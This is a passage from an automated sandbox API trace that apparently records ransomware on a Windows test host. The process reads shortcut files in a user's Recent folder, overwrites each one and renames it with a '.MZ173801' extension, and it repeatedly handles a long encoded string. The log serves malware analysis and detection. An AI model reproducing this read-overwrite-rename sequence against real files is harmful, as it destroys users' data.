TczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cgmyp-9fTcDYC8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cgmyp-9ftcdyc8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.981] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.981] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.981] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x20a9 [0120.981] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.981] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x20a9, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x20a9, lpOverlapped=0x0) returned 1 [0120.982] CloseHandle (hObject=0x288) returned 1 [0120.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cgmyp-9fTcDYC8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cgmyp-9ftcdyc8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.983] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x20a9, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x20a9, lpOverlapped=0x0) returned 1 [0120.984] CloseHandle (hObject=0x288) returned 1 [0120.989] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cgmyp-9fTcDYC8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cgmyp-9ftcdyc8.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cgmyp-9fTcDYC8.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cgmyp-9ftcdyc8.lnk.mz173801")) returned 1 [0120.990] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefddfe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cL2y69LbLQlaeySm.lnk", cAlternateFileName="CL2Y69~1.LNK")) returned 1 [0120.990] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.990] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cL2y69LbLQlaeySm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cl2y69lblqlaeysm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefddfe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf37)) returned 1 [0120.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cL2y69LbLQlaeySm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cl2y69lblqlaeysm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.994] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.994] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.994] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf37 [0120.994] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.994] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf37, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf37, lpOverlapped=0x0) returned 1 [0120.995] CloseHandle (hObject=0x288) returned 1 [0120.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cL2y69LbLQlaeySm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cl2y69lblqlaeysm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.996] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf37, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf37, lpOverlapped=0x0) returned 1 [0120.997] CloseHandle (hObject=0x288) returned 1 [0121.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cL2y69LbLQlaeySm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cl2y69lblqlaeysm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cL2y69LbLQlaeySm.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cl2y69lblqlaeysm.lnk.mz173801")) returned 1 [0121.001] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde763180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cpu4Mje4zMg_.lnk", cAlternateFileName="CPU4MJ~1.LNK")) returned 1 [0121.001] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.001] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.002] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpu4Mje4zMg_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpu4mje4zmg_.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde763180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d)) returned 1 [0121.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5